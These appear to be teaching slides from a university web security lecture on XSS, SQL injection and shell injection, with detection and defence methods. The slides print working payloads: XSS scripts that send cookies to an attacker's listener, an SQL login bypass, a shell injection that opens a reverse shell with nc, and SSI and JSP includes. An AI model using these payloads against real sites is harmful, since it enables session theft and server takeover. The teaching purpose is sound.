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Web Security

Web Security. Why Web Security: a Real Business Problem. Independent security audit Regulatory compliance XSS issue raised Must provide a response: Prove issue to be a non-problem or Describe actions to take. Auditor finding. Freeform edit box Message to Customer Service. Web Attacks.

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Web Security

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  1. Web Security

  2. Why Web Security: a Real Business Problem • Independent security audit • Regulatory compliance • XSS issue raised • Must provide a response: • Prove issue to be a non-problem or • Describe actions to take

  3. Auditor finding • Freeform edit box • Message to Customer Service

  4. Web Attacks • Cross Site Scripting (XSS) • SQL Injection • Shell Attacks If interested in more • XPATH Injection • LDAP Injection • SSI Injection • JSP Injection

  5. Cross Site Scripting • Attacker goal: their code into browser • XSS forces a website visitor to execute malicious code in his/her browser • Count for roughly 80% of all documented security vulnerabilities

  6. XSS Risks • XSS abuses render engines or plug-ins • Steal browser cookies • Steal session info for replay attack • Malware or bot installation • Redirect or phishing attempt

  7. XSS Example 1 • Trudy posts the following JavaScript on a message board: • <script language="javascript"> var url = "http://machineaddress:9000/index.html?cookie=“+ encodeURI(document.cookie); </script> • Then run a TCP server listening on port 9000 with e.g., nc –l –p 9000 • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

  8. XSS Demo Instructions • Set port forward to bypass the firewall ssh -L 9000:netsec-demos:2000 ychen@netsec-1.cs.northwestern.edu Note: 9000 is the local port, it's forwarded to netsec-demos port 2000 through netsec-1 • Use http://localhost:9000 to access http://netsec-demos.cs.northwestern.edu:2000 • Ssh to any other machine (e.g., netsec.cs.northwestern.edu) and run nc –l –p 9000

  9. XSS Demo Instructions (II) • Login as ychen and post the script with a sexy title (e.g., hot game!) <script language="javascript"> varurl = "http://netsec.cs.northwestern.edu:9000/index.html?cookie="; url = url + encodeURI(document.cookie); new Image().src=url; </script> Hi Everyone! Thanks for your cookies! • Then login as another user whitney and click the post

  10. Simple XSS Code varurl = "http://machineaddress:9000/index.html?cookie=“+ encodeURI(document.cookie); • document.cookie is the browser's entire cookie for the current website • encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL • E.g., changing the space character to %20 • Make the URL less suspicious

  11. What can Trudy Do with the Cookie? • Crack Bob’s password (MD5 hash in the cookie) with John the Ripper or any password cracker • For more info, http://netsec.cs.northwestern.edu/resources/password-cracking/ • Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

  12. XSS Example 2 • Trudy sends a link to the following URL to Bob that will take him to a personalized page: • http://host/personalizedpage.php?username=<script>document.location='http://trudyhost/cgi-bin/stealcookie.cgi?'+document.cookie</script> • A page is returned that contains the malicious script instead of the username Bob, and Bob’s browser executes the script causing his session cookie to be sent to Trudy • Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

  13. XSS Detection • A client usually is not supposed to send scripts to servers • If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet or in an outgoing SQL statement to the database, then an attack has occurred • A sanitized script could look like &ls;SCRIPT&gt;…

  14. SQL Injection Malicious SQL statements run on a database and thus attack the server XSS can only target other users

  15. SQL Injection Example • Trudy accesses Bob’s website; in which he does not validate input on his sign in form • Runs a SQL statement like the following: • select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; • Set username to ' or '1'='1 • select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; • Effect: picks any row where the username is blank and the password matches or any row where true. • Add “limit 1” to pick the first row

  16. SQL Injection Detection • To detect and prevent this at Bob’s location • Log any traffic from Trudy to Bob containing form data containing a quotation mark • Match any outgoing SQL statements from Bob’s web server to his database server and verify that the quotation marks Trudy supplied were escaped • If they weren’t, take action

  17. Shell Attacks Control an actual machine like a web server

  18. Shell Attacks • Inject commands into scripts that use Linux utilities • E.g., with “;” as command separator in UNIX/LINUX • CGI programs like perl can use command-line programs (e.g. grep, ls) • Unsanitized input as arguments can lead to command execution.

  19. Shell Attacks Demo • Search engine in MiniBB webserver executes system("echo $user_usr " . $phrase . " >>/tmp/searchlogs"); • Put phrase as: >/dev/null; id; echo randomdata • Hide user ID • Store random data in logs to evade detection • We can even get a remote shell ! • >/dev/null; nc netsec 9000 -e /bin/sh

  20. Defense Approaches • Web firewall/IDS • ModSecurity for Apache • Commercial: SecureSphere from Impervia • Static code analysis • Open source: Nikto • Commercial: • Acutenix Web Vulnerability Scanner • N-stalker • Education on good coding • HTML encoding on input (server-side) • Input validation/filtering

  21. Backup Slides

  22. XPATH Injection Example • Similar to SQL injection • Bob has a form that does not sanitize user-provided input before using it as part of an XPATH query:: • string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) • Trudy again can provide the following password to change the statement’s logic: • X’ OR ‘x’=‘x • The statement thus selects the first account

  23. LDAP Injection Example • Server using LDAP for authentication • User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry • Attacker can exploit using special characters http://example/ldapsearch.asp?user=*

  24. LDAP Injection Detection • Detection is based off of usage of special LDAP characters • System monitors input for special characters • Either scrubs incoming input or watches for unescaped output passed to database server • Detection approach is blackbox

  25. SSI Injection Example • Bob has his server configured to use Server-Side Includes • Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> • SSI inserts malicious code into normal webpages upon next request • Future legitimate users get content containing the tainted code included by the SSI

  26. JSP Injection Example • Similar to SSI injection • Bob has a portal server configured to use dynamic code for templates • Trudy passes input with an embedded <jsp:include “http://bad.com/1.jsp” > • malicious code inserted into webpage

  27. JSP Injection Prevention • Prefer static include <%include …> • Don’t allow file inclusion outside of server via Java2 Security policies • Firewall rules to prevent outbound requests from server • Input validation coding • Choose portal software not requiring dynamic includes or code execution

  28. Q&A • Suggestions?

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